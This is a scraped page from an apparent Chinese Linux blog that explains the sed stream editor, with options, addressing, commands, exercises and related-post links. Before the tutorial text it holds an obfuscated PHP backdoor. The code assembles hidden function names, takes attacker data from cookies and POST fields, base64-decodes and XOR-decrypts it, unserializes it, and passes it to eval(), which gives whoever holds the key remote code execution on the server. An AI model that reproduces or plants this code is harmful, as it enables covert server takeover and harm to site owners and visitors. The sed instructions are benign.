$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux文本处理工具sed | Linux运维部落

Linux文本处理工具sed

sed工作模式.jpg

sed工作原理:sed从文件中读取出来一行,并不会直接进行编辑处理而是会放在自己的模式空间内进行处理,处理的结果将会送到标准输出,默认情况下sed可以对每行文本进行处理,也可以让sed处理符合条件的行,我们可以利用正则表达式做文本过滤,模式空间有两种输出结果,一种是可以匹配到的,会根据编辑要求进行处理,例如删除,过滤字符串。另外一种则是匹配失败的,会直接进行标准输出。


sed常用选项:

            -n:不输出模式空间中的内容至屏幕;不会把模式空间内的信息输出出来。

            -e:多点编辑;可以同时编辑多个匹配条件 

            -f:/PATH/SED_SCRIPT_FILE 每行一个编辑命令;读取文件内的筛选条件

            -R:支持使用扩展表达式;使用苦战表达式

            -i: 直接编辑源文件;操作比较危险,会直接更改原文件。

地址定界:

(1)空地址:对全文进行处理;

(2)单地址:

  #:指定行;

                 [root@nzg7 ~]# sed -n '2p' /etc/passwd

                  /pattern/;被此模式匹配到的每一行;

                 [root@nzg7 ~]# sed -n '/^root/p' /etc/passwd

(3)地址范围:

 #,#:

                 [root@nzg7 ~]# sed -n '1,2p' /etc/passwd

 #,+#:向后+#行

                [root@nzg7 ~]# sed -n '1,+2p' /etc/passwd

 #,/pat1/:

                [root@nzg7 ~]# sed -n '1,/^nologin/p' /etc/passwd

 /pat1/,/pat2/

               [root@nzg7 ~]# sed -n '/^root/,/^nologin/p' /etc/passwd

 (4)步进:~

         1~2:所有奇数行

               [root@nzg7 nzg]# sed -n '1~2p' f1

         2~2:所有偶数行

               [root@nzg7 nzg]# sed -n '2~2p' f1

编辑命令:

    d:删除;

         [root@nzg7 nzg]# sed  '2~2d' f1     删除偶数行

    p: 显示模式空间中的内容;

          [root@nzg7 nzg]# sed -n '2~2p' f1     显示匹配结果

           a \text:在行后面追加文本"text",支持使用\n实现多行追加;

          [root@nzg7 nzg]# sed  '100a \luyubo' f1
          [root@nzg7 nzg]# sed  '100a \luyubo\nnaozhongge' f1

   i \text;在行前面插入文本"text",支持使用\n实现多行插入;   加.可以实现备份

          [root@nzg7 nzg]# sed  '100i \luyubo' f1
          [root@nzg7 nzg]# sed  '100i \luyubo\nnaozhongge' f1

    c \text:把匹配等到的行替换为此处指定的文本“text”;

          [root@nzg7 nzg]# sed  '100c \luyubo' f1
          [root@nzg7 nzg]# sed  '100c \luyubo\nnaozhongge' f1

    W /PTAH/TO/SOMEFILE:保存模式空间匹配到的行至指定的文件中;

          [root@nzg7 nzg]# sed -n '/^[^#]/w /home/nzgqq' /etc/fstab

            r /PATH/FROM/SOMEFILE:读取指定文件的内容至当前文件被模式匹配到的行后面;

         [root@nzg7 nzg]# sed -n '/^[^#]/r /home/nzgqq' /etc/fstab

            = 为模式匹配到的行打印行号;

         [root@nzg7 nzg]# sed '/^[^#]/=' /etc/fstab

!条件取反;

 地址定界!编辑命令;

        [root@nzg7 nzg]# sed -n '/^[^#]/!p' /etc/fstab

           s///:查找替换,其分隔符可自行指定,常用的有s@@@,s###等

  例如:删除/etc/grub2.conf文件中所有以空白开头的行行首的 空白字符 

        [root@nzg7 nzg]# sed -n 's@^[[:space:]]\+@@p' /etc/grub2.cfg

          替换标记:

        g:全局替换;

        [root@nzg7 nzg]# sed -n 's@[[:digit:]]@q@pg' f1

         w:/PATH/TO/SOMEFILE; 将替换成功的结果保存至指定文件中;

         p:显示替换成功的行;

        [root@nzg7 nzg]# sed -n 's@[[:digit:]]@q@pgw /home/f22' f1

         高级编辑命令:

         h:把模式空间中的内容覆盖至保持空间中;

         H:把模式空间中的内容追加至保持空间中;

         g:把保持空间中的内容覆盖至模式空间中;

         G:把保持空间中的内容追加至模式空间中;

         x:把模式空间中的内容与保持空间中的内容互换;

         n: 覆盖读取匹配到的行的下一行至模式空间中;

         N:追加读取匹配到的行的下一行至模式空间中;

         d:删除模式空间中的行;

         D:删除多行模式空间中的所有行;

         高级编辑命令示例:

         sed -n 'n;p' FILE           显示偶数

         sed '1!G;h;$!d' FILE       倒序显示

         sed '$!N;$!D' FILE          显示最后两行

         sed '$!d' FILE              显示最后1行

         sed 'G' FILE                每行后面插入空格

         sed 'g' FILE                全部替换空格

         sed '/^$/d;G' FILE          每行后面插入空格

         sed 'n;d' FILE              显示奇数

         sed -n '1!G;h;$p' FILE      倒序显示

练习题案例:

1.删除/etc/grub2.conf文件中所有以空白开头的行行首的 空白字符 

[root@nzg7 nzg]# sed 's@^[[:space:]]\+@@p' /etc/grub2.cfg

2.删除/etc/fstab文件中所有以#开头,后面至少跟一个空白字符的行的行首的#和空白字符

[root@nzg7 nzg]# sed 's@^#[[:space:]]\+@@p' /etc/fstab

3.在/root/install.log每一行行首增加#号 

[root@nzg7 ~]# sed 's@^@#@' install.log

4.、在/etc/fstab文件中不以#开头的行的行首增加#号 

[root@nzg7 ~]# sed -r 's@.*@#&@' install.log
[root@nzg7 ~]# sed 's@^@#@' install.log

5.处理/etc/fstab路径,使用sed命令取出其目录名和基名 

[root@nzg7 ~]# echo "/etc/fstab" | sed -r 's@^(/.*/)([^/]+/?)@\1@'
[root@nzg7 ~]# echo "/etc/fstab" | sed -r 's@^(/.*/)([^/]+/?)@\2@'

6.利用sed 取出ifconfig命令中本机的IPv4地址 

[root@nzg7 ~]# ifconfig | sed -n  '/\<inet\>/p' | sed -r 's@inet (([0-9]+\.){3}[0-9]+).*@\1@'
[root@nzg7 ~]# ifconfig | sed -n  '/\<inet\>/p' |sed -r 's@inet @@'| sed -r 's@netmask.*@@'

7.统计centos安装光盘中Package目录下的所有rpm文件的 以.分隔倒数第二个字段的重复次数

[root@localhost Packages]# ll *.rpm |sed -r 's@.*\.([^.]+)\.rpm$@\1@' |sort |uniq -c

原创文章,作者:闹钟哥,如若转载,请注明出处:http://www.178linux.com/32459

(0)
上一篇 2016-08-10 10:15
下一篇 2016-08-10 10:15

相关推荐

  • sed和vim的爱恨纠缠

    处理文本的工具sed sed是一种流编辑器,它一次处理一行内容。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(patternspace),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有改变,除非你使用重定向存储输出。Sed主要用来自动编辑一个或多个文件,简化对文…

    2016-08-10
  • sed 流编辑器 练习

    8-9 sed 练习 1、删除/etc/grub2.conf文件中所有以空白开头的行行首的 空白字符 sed 's@^[[:space:]]@@g' /etc/grub2.conf  2、删除/etc/fstab文件中所有以#开头,后面至少跟一个空 白字符的行的行首的#和空白字符 sed 's@^#[[:space:]]\{1…

    学员作品 2016-08-10
  • 鸟哥马哥齐相聚,linux界最强音

    台湾著名Linux网站——“鸟哥的Linux私房菜”的站长蔡德明,2015年3月28日受邀到51CTO进行交流,51cto学院还特此邀请大陆linux权威专家马哥参与了本次活动,在轻松愉快的氛围下,马哥和鸟哥以及其他专家人员对于“容器虚拟化下运维调度层的设计”,“Linux在云计算的应用”,“可视化集成运维平台最佳实践”等三个议题展开思想的碰撞。本次马哥和鸟…

    2015-03-30
  • 马哥教育网络班20期-第十周课程作业

    请详细描述CentOS系统的启动流程(详细到每个过程系统做了哪些事情) 1)POST:加电自检 2)BOOT Sequence:按次序查找各引导设备,第一个有grub的设备即为本次启动用到设备 3)加载kernel,先自身初始化,探测可识别到的所有硬件设备,加载硬件驱动程序,以只读方式挂载根文件系统,运行用户空间的第一个应用程序:/sbin/init 4)i…

    学员作品 2016-09-08
  • 马哥教育网络第20期-第一周作业

    第一周博客作业1、 描述计算机的组成及其功能。 运算器、控制器、存储器、输入设备、输出设备运算器、控制器 :cpu 运算和逻辑计算存储器:缓存和保存数据输入设备、输出设备:用户和计算机交互设备和界面 2、 按系列罗列Linux的发行版,并描述不同发行版之间的联系与区别。 Slackware系列: suse   opensuse debian系列: …

    学员作品 2016-06-23
  • 马哥linux运维雄鹰社团第一届博客大赛

    能登上金字塔塔顶的只有鹰和蜗牛 世界那么大,我想去看看!我带着你,你带着钱,想去哪去哪!来马哥教育,夺博客大赛最佳,实现人生巅峰! 面对现状你该如何抉择 亲爱的学员们,自己一个人学习是否缺乏动力呢? 是否不知道其他人的学习进度参考,而不能及时激励自己奋进呢? 是否每每懊悔自己没有利用好时间,而导致学习进度大幅落下呢? 马哥linux为你点亮通向远方的一盏灯 …

    2015-05-20